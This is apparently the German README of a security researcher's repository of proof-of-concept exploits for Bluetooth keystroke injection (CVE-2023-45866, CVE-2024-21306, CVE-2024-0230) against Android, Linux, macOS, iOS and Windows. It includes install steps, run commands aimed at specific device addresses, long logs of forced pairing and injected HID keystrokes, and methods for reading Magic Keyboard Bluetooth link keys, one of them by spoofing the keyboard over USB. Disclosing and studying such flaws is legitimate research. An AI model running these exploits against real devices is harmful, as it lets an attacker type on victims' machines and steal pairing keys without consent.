
Exploit-PoCs zur Bluetooth-Keystroke-Injection für CVE-2023-45866, CVE-2024-21306 und CVE-2024-0230, die über emulierte HID-Tastaturen auf Android, Linux, macOS und iOS abzielen.
Dieses Repository enthält Proof-of-Concept-Skripte für CVE-2023-45866, CVE-2024-21306 und CVE-2024-0230. Weitere Details finden Sie im Blogbeitrag.
| Proof of Concept | Beschreibung |
|---|---|
| Android Keystroke Injection | Erzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem verwundbaren Android-Gerät und injiziert 10 Sekunden lang tab-Tastendrücke. |
| Linux Keystroke Injection | Erzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem Linux-Host und injiziert 10 Sekunden lang tab-Tastendrücke. |
| macOS Keystroke Injection | Erzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem macOS-Host und injiziert Tastendrücke, um einen Webbrowser zu öffnen und eine Google-Suche durchzuführen. |
| iOS Keystroke Injection | Erzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem iOS-Host und injiziert Tastendrücke, um einen Webbrowser zu öffnen und zu einer URL zu navigieren. |
| Windows Keystroke Injection | Erzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem Windows-Host und injiziert tab-Tastendrücke. |
| Magic Keyboard Link Key via Lightning Port | Liest den Bluetooth-Link-Key vom Lightning-Anschluss eines Magic Keyboards. |
| Magic Keyboard Link Key via Bluetooth | Liest den Bluetooth-Link-Key aus dem nicht authentifizierten Bluetooth-HID-Dienst des Magic Keyboards. |
| Magic Keyboard Link Key via USB Port on the Mac | Liest den Bluetooth-Link-Key für ein Ziel-Magic-Keyboard, indem die Tastatur über USB gegenüber ihrem gekoppelten Mac vorgetäuscht wird. |
Die Skripte funktionieren bekanntermaßen auf einem Ubuntu-22.04-Host mit einem Bluetooth-Adapter auf Broadcom-Basis.
Ich habe hauptsächlich diesen Adapter verwendet: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
Ausgehend von einer sauberen Installation von Ubuntu 22.04 können die Abhängigkeiten mit den folgenden Befehlen installiert werden.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Android-Geräte mit einem Sicherheitspatch-Stand vor 2023-12-05 sind anfällig.
Wenn Bluetooth auf einem nicht gepatchten Android-Gerät aktiviert ist, kann ein Angreifer eine emulierte Bluetooth-Tastatur koppeln und Tastatureingaben injizieren, ohne dass der Benutzer dies bestätigen muss. Dies ist ein Zero-Click-Angriff, der funktioniert, wann immer Bluetooth aktiviert ist.
Diese Sicherheitslücke betrifft Android ~4.2.2 und später.
Führen Sie den PoC aus, der auf das Android-Gerät 5C:F3:70:AA:07:BD mithilfe der Schnittstelle hci1 abzielt.```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
Im Erfolgsfall injiziert der PoC 10 Sekunden lang eine Nutzlast aus `tab`-Tastenanschlägen.
#### Beispielausgabe```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
Linux-Hosts, auf denen BlueZ 5 läuft, sind verwundbar, bis Patches etwa im Dezember 2023 ausgerollt werden. Die genauen Versionsnummern hängen von der Linux-Distribution ab.
Wenn ein nicht gepatchter Linux-Host über Bluetooth auffindbar und verbindbar ist, kann ein Angreifer eine emulierte Bluetooth-Tastatur koppeln und Tastatureingaben injizieren, ohne dass der Benutzer bestätigt. Dies ist ein Zero-Click-Angriff, der funktioniert, wann immer der Host auffindbar und verbindbar ist.
Es wird davon ausgegangen, dass diese Sicherheitslücke nicht gepatchte Linux-Distributionen betrifft, die die Standardkonfiguration von BlueZ 5 verwenden.
Google gibt an, dass ChromeOS von dieser Sicherheitslücke nicht betroffen war, und obwohl ChromeOS im Rahmen dieser Forschung nicht getestet wurde, scheint die BlueZ-Konfiguration von ChromeOS den Angriff zu verhindern.
Zu den betroffenen Distributionen gehören Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto und Amazon Linux. Mehrere Versionen können betroffen sein; Ubuntu beispielsweise hat 16.04, 18.04, 20.04, 22.04, 23.04 und 23.10 gepatcht.
Führen Sie den PoC mit der Schnittstelle hci1 gegen den Linux-Host 58:28:39:E6:AE:1C aus.```
./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
Bei Erfolg injiziert der PoC einen Payload aus `tab`-Tastendrücken für 10 Sekunden.
#### Beispielausgabe```
> ./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
[2024-01-07 11:00:08.955] executing 'sudo service bluetooth restart'
[2024-01-07 11:00:09.586] configuring Bluetooth adapter
[2024-01-07 11:00:09.590] calling RegisterProfile
[2024-01-07 11:00:09.595] running dbus loop
[2024-01-07 11:00:09.725] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:00:09.738] executing 'hciconfig hci1 name'
[2024-01-07 11:00:09.759] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:00:09.771] executing 'hciconfig hci1 class'
[2024-01-07 11:00:09.774] executing 'hcitool name 58:28:39:E6:AE:1C'
[2024-01-07 11:00:10.399] connecting to SDP
[2024-01-07 11:00:10.400] connecting to 58:28:39:E6:AE:1C on port 1
[2024-01-07 11:00:12.984] SUCCESS! connected on port 1
[2024-01-07 11:00:12.984] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:00:12.992] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:00:13.001] connected to SDP (L2CAP 1) on target
[2024-01-07 11:00:13.011] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:00:13.253] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.020] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.020] connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:15.296] SUCCESS! connected on port 17
[2024-01-07 11:00:15.296] connecting to HID Interrupt
[2024-01-07 11:00:15.296] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.296] [RX-17] 15
[2024-01-07 11:00:15.500] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.500] connecting to HID Interrupt
[2024-01-07 11:00:15.501] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.636] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.636] connecting to HID Interrupt
[2024-01-07 11:00:15.638] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.764] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.764] connecting to HID Interrupt
[2024-01-07 11:00:15.766] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.784] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.784] connecting to HID Interrupt
[2024-01-07 11:00:15.785] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.832] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.832] connecting to HID Interrupt
[2024-01-07 11:00:15.833] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.880] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.880] connecting to HID Interrupt
[2024-01-07 11:00:15.881] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.160] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.160] connecting to HID Interrupt
[2024-01-07 11:00:16.161] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.300] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.300] connecting to HID Interrupt
[2024-01-07 11:00:16.301] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.580] SUCCESS! connected on port 19
[2024-01-07 11:00:16.580] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:00:16.580] connecting to HID Control
[2024-01-07 11:00:16.580] connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:16.859] SUCCESS! connected on port 17
[2024-01-07 11:00:16.860] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:00:16.860] [RX-17] 4190
[2024-01-07 11:00:16.860] [TX-17] 00
[2024-01-07 11:00:17.110] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.110] injecting Tab keypresses for 10 seconds
[2024-01-07 11:00:17.111] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.115] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.170] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.174] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.229] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.233] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.288] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.292] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.347] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.352] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.406] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.410] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.465] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.469] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.524] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.528] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.583] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.587] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.642] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.646] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.701] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.705] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.759] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.764] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.818] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.823] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.877] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.882] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.936] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.941] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.995] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.000] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.054] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.059] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.113] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.118] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.172] [TX-19] a10100002b000000000000
...
[2024-01-07 11:00:27.102] [TX-19] a101000000000000000000
[2024-01-07 11:00:27.157] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:00:27.157] taking 'hci1' offline
Wenn ein Mac versucht, sich über Bluetooth mit einem gekoppelten Magic Keyboard zu verbinden, kann ein Angreifer das Magic Keyboard gegenüber dem Mac spoofen, eine virtuelle Bluetooth-Tastatur koppeln und ohne Bestätigung durch den Benutzer Tastatureingaben injizieren.
Dieser Angriff hat eine Timing-Komponente: Der Angreifer muss sich in dem exakten Moment mit dem Mac verbinden, in dem der Mac versucht, sich mit dem Magic Keyboard zu verbinden.
Der enthaltene PoC wird ausgelöst, wenn ein Magic Keyboard von seinem Mac getrennt wird (z. B. nach dem Laden oder Pairing). Der PoC nutzt den Bluetooth-SDP-Dienst auf dem Mac als Seitenkanal, um das Trennen zu beobachten und den Angriff auszulösen. Dies ist ein Zero-Click-Angriff, der die Beobachtung erfordert, dass ein Magic Keyboard von einem Mac getrennt wird.
./keystroke-injection-macos.py --help usage: keystroke-injection-macos.py [-h] -i INTERFACE -t TARGET_ADDRESS -k KEYBOARD_ADDRESS
options: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE -t TARGET_ADDRESS, --target_address TARGET_ADDRESS -k KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
##### Aufruf```
./keystroke-injection-macos.py -i hci1 -t 50:DE:06:A8:E1:CA -k 1C:57:DC:88:55:02
[2024-01-07 12:25:43.777] executing 'sudo service bluetooth restart' [2024-01-07 12:25:44.324] configuring Bluetooth adapter [2024-01-07 12:25:44.461] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard' [2024-01-07 12:25:44.474] executing 'hciconfig hci1 name' [2024-01-07 12:25:44.493] executing 'sudo hciconfig hci1 class 0x002540' [2024-01-07 12:25:44.506] executing 'hciconfig hci1 class' [2024-01-07 12:25:44.509] executing 'sudo bdaddr -i hci1 1C:57:DC:88:55:02' [2024-01-07 12:25:44.649] executing 'hciconfig hci1' [2024-01-07 12:25:44.652] connecting to SDP [2024-01-07 12:25:44.652] connecting to 50:DE:06:A8:E1:CA on port 1 [2024-01-07 12:25:45.776] SUCCESS! connected on port 1 [2024-01-07 12:25:45.776] executing 'sudo btmgmt --index hci1 io-cap 1' [2024-01-07 12:25:45.788] executing 'sudo btmgmt --index hci1 ssp 1' [2024-01-07 12:25:45.795] connected to SDP (L2CAP 1) on target [2024-01-07 12:25:45.795]
[2024-01-07 12:25:46.014] b'HCI sniffer - Bluetooth packet analyzer ver 5.64\n' [2024-01-07 12:25:46.015] b'device: hci1 snap_len: 1500 filter: 0xffffffffffffffff\n' [2024-01-07 12:25:46.017] b'> HCI Event: Number of Completed Packets (0x13) plen 5\n' [2024-01-07 12:25:46.018] b' handle 11 packets 1\n' [2024-01-07 12:25:47.296] b'> ACL data: handle 11 flags 0x02 dlen 12\n' [2024-01-07 12:25:47.297] b' L2CAP(s): Connect req: psm 1 scid 0x0506\n' [2024-01-07 12:25:47.337] connecting to HID Control [2024-01-07 12:25:47.337] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.788] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 12:25:47.788] connecting to HID Control [2024-01-07 12:25:47.799] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.908] SUCCESS! connected on port 17 [2024-01-07 12:25:47.908] connected to HID Control (L2CAP 17) on target [2024-01-07 12:25:47.908] connecting to HID Interrupt [2024-01-07 12:25:47.908] connecting to 50:DE:06:A8:E1:CA on port 19 [2024-01-07 12:25:47.976] SUCCESS! connected on port 19 [2024-01-07 12:25:47.976] connected to HID Interrupt (L2CAP 19) on target [2024-01-07 12:25:47.976] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.012] [RX-17] 71 [2024-01-07 12:25:48.013] [TX-17] 00 [2024-01-07 12:25:48.048] [RX-17] 53c601180121 [2024-01-07 12:25:48.048] [TX-17] 00 [2024-01-07 12:25:48.084] [RX-17] 53ffbb [2024-01-07 12:25:48.084] [TX-17] 00 [2024-01-07 12:25:48.116] [RX-17] 43f0 [2024-01-07 12:25:48.116] [TX-17] 00 [2024-01-07 12:25:48.159] [RX-17] 53ff90 [2024-01-07 12:25:48.160] [TX-17] 00 [2024-01-07 12:25:48.192] [RX-17] 41f0 [2024-01-07 12:25:48.192] [TX-17] 00 [2024-01-07 12:25:48.228] [RX-17] 53ff34 [2024-01-07 12:25:48.228] [TX-17] 00 [2024-01-07 12:25:48.265] [RX-17] 43f0 [2024-01-07 12:25:48.265] [TX-17] 00 [2024-01-07 12:25:48.296] [RX-17] 53ff90 [2024-01-07 12:25:48.296] [TX-17] 00 [2024-01-07 12:25:48.308] [RX-17] 41f0 [2024-01-07 12:25:48.309] [TX-17] 00 [2024-01-07 12:25:48.344] [RX-17] 53ffe0 [2024-01-07 12:25:48.344] [TX-17] 00 [2024-01-07 12:25:48.376] [RX-17] 43f0 [2024-01-07 12:25:48.376] [TX-17] 00 [2024-01-07 12:25:48.413] [RX-17] 53ff14 [2024-01-07 12:25:48.413] [TX-17] 00 [2024-01-07 12:25:48.456] [RX-17] 43f0 [2024-01-07 12:25:48.456] [TX-17] 00 [2024-01-07 12:25:48.492] [RX-17] 53ffc5 [2024-01-07 12:25:48.493] [TX-17] 00 [2024-01-07 12:25:48.528] [RX-17] 43f0 [2024-01-07 12:25:48.528] [TX-17] 00 [2024-01-07 12:25:48.572] [RX-17] 53ff02 [2024-01-07 12:25:48.573] [TX-17] 00 [2024-01-07 12:25:48.607] [RX-17] 43f1 [2024-01-07 12:25:48.608] [TX-17] 00 [2024-01-07 12:25:48.644] [RX-19] a2f10100 [2024-01-07 12:25:48.645] injecting payload [2024-01-07 12:25:48.645] [TX-19] a1010800e32c0000000000 [2024-01-07 12:25:48.646] [RX-19] a2f10100 [2024-01-07 12:25:48.647] [RX-19] a2f10100 [2024-01-07 12:25:48.649] [RX-19] a2f10100 [2024-01-07 12:25:48.650] [RX-19] a2f10100 [2024-01-07 12:25:48.653] [RX-17] 53ff03 [2024-01-07 12:25:48.653] [TX-17] 00 [2024-01-07 12:25:48.680] [RX-17] 43f1 [2024-01-07 12:25:48.680] [TX-17] 00 [2024-01-07 12:25:48.896] [TX-19] a101000017000000000000 [2024-01-07 12:25:48.900] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.905] [TX-19] a101000008000000000000 [2024-01-07 12:25:48.909] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.914] [TX-19] a101000015000000000000 [2024-01-07 12:25:48.918] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.922] [TX-19] a101000010000000000000 [2024-01-07 12:25:48.927] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.931] [TX-19] a10100000c000000000000 [2024-01-07 12:25:48.936] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.940] [TX-19] a101000011000000000000 [2024-01-07 12:25:48.944] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.949] [TX-19] a101000004000000000000 [2024-01-07 12:25:48.953] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.958] [TX-19] a10100000f000000000000 [2024-01-07 12:25:48.962] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.966] [TX-19] a101000028000000000000 [2024-01-07 12:25:48.971] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.225] [TX-19] a101010006e00000000000 [2024-01-07 12:25:49.230] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.234] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.239] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.244] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.248] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.252] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.256] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.261] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.265] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.269] [TX-19] a10100002c000000000000 [2024-01-07 12:25:49.274] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.278] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.283] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.287] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.291] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.296] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.300] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.304] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.309] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.313] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.318] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.322] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.327] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.331] [TX-19] a101020033e10000000000 [2024-01-07 12:25:49.335] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.340] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.344] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.349] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.353] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.358] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.362] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.367] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.371] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.376] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.380] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.385] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.389] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.393] [TX-19] a10100000f000000000000 [2024-01-07 12:25:49.398] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.402] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.407] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.411] [TX-19] a101000037000000000000 [2024-01-07 12:25:49.416] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.420] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.424] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.429] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.433] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.438] [TX-19] a101000010000000000000 [2024-01-07 12:25:49.442] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.447] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.451] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.455] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.460] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.464] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.468] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.473] [TX-19] a101000004000000000000 [2024-01-07 12:25:49.477] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.482] [TX-19] a101000015000000000000 [2024-01-07 12:25:49.486] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.491] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.495] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.499] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.504] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.508] [TX-19] a101020038e10000000000 [2024-01-07 12:25:49.513] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.517] [TX-19] a101000014000000000000 [2024-01-07 12:25:49.522] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.526] [TX-19] a10100002e000000000000 [2024-01-07 12:25:49.531] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.535] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.540] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.544] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.549] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.553] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.558] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.562] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.567] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.571] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.576] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.580] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.585] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.589] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.593] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.598] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.602] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.607] [TX-19] a101000009000000000000 [2024-01-07 12:25:49.611] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.616] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.620] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.625] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.629] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.633] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.638] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.642] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.646] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.651] [TX-19] a101000028000000000000 [2024-01-07 12:25:49.655] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.760] payload has been transmitted; disconnecting Bluetooth HID client [2024-01-07 12:25:49.761] taking 'hci1' offline
## Extraktion des Verbindungsschlüssels
### Verbindungsschlüssel des Magic Keyboard über den Lightning-Port
Wenn das Magic Keyboard an den Mac angeschlossen wird, sendet der Mac den Bluetooth-Verbindungsschlüssel über USB an das Magic Keyboard.
Der Verbindungsschlüssel bleibt so lange im Speicher, bis das Magic Keyboard ausgeschaltet wird, und kann von einem Angreifer mit Zugriff auf den Lightning-Port der Tastatur gelesen werden.
#### Betroffene Versionen
Apple begann am 2024-01-09 mit dem Ausrollen von [Patches für das Magic Keyboard](https://support.apple.com/en-us/HT214050).
Die folgenden Apple-Peripheriegeräte wurden getestet und als anfällig für diesen Angriff eingestuft. Andere Peripheriegeräte wurden nicht getestet, daher ist diese Liste möglicherweise unvollständig.
| Produktname | Modellnummer |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad | A1843 |
| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |
#### Startzustand
- Das Magic Keyboard war seit dem letzten Anschluss an den Mac durchgehend eingeschaltet.
#### Ausführen des PoC
Verbinden Sie das Magic Keyboard über ein Lightning-auf-USB-Kabel mit dem Linux-Computer und führen Sie das Skript ohne Parameter aus.```
./read-link-key-lightning.py
Model - Magic Keyboard Serial Number - F1T2107RUNW12NXA9 BT Address - 1c:57:fc:08:65:12 Mac BT Address - a4:c3:99:e8:a8:6c BT Link Key - c95e3ec98809f2745d32029e7f97b67e
### Magic Keyboard Link-Key über USB-Anschluss am Mac
Wenn das Magic Keyboard an den Mac angeschlossen wird, sendet der Mac den Bluetooth-Link-Key über USB an das Magic Keyboard.
Beim nächsten Anschließen des Magic Keyboards an den Mac wird es anhand seiner Bluetooth-Adresse und Seriennummer erkannt, und der Mac sendet den ursprünglichen Link-Key an das Magic Keyboard.
Wenn ein Angreifer die Bluetooth-Adresse und Seriennummer eines Ziel-Magic-Keyboards kennt, kann er das Magic Keyboard gegenüber dem Mac über USB vortäuschen und den Ziel-Link-Key vom USB-Anschluss des Mac auslesen.
